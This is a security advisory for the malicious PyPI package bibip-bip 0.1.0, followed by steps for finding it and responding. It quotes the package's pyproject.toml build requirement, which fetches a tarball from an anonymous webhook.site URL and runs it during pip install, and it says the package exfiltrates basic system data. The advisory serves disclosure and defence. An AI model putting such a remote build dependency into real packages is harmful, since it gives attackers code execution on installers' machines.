bibip-bipPyPI
Advisory published Updated
bibip-bip is a confirmed malicious PyPI package (MAL-2026-5649) that steals credentials and exfiltrates sensitive data (malicious version 0.1.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in bibip-bip (PyPI)
What this malware does
pyproject.toml declares a PEP 517 build requirement that points to an arbitrary tarball hosted on webhook.site, an anonymous request-inspection / file-hosting service: requires = ["setuptools>=64", "aliga-raison @ https://webhook.site/d5367f1c-8bca-4d14-83d3-b2cbbce825eb/pypi/aliga-raison.tar.gz"]. During pip install (or pip wheel / sdist build) pip resolves this direct-URL requirement into the build isolation environment and executes the tarball's setup.py, giving the URL owner arbitrary code execution on the installer's machine. The URL is unpinned (no hash), is not on the publisher's domain, and webhook.site content is fully attacker-controlled and mutable. The package's advertised purpose ('simple hello package') has no legitimate need for an external build dependency, let alone one fetched from an anonymous host.
Package tests exploitation via externally-hosted dependencies
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
-
The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
-
The package overrides the install command in setup.py to execute malicious code during installation.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for bibip-bip (version 0.1.0).
If you installed it — respond
bibip-bip is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If bibip-bip was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks bibip-bip-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.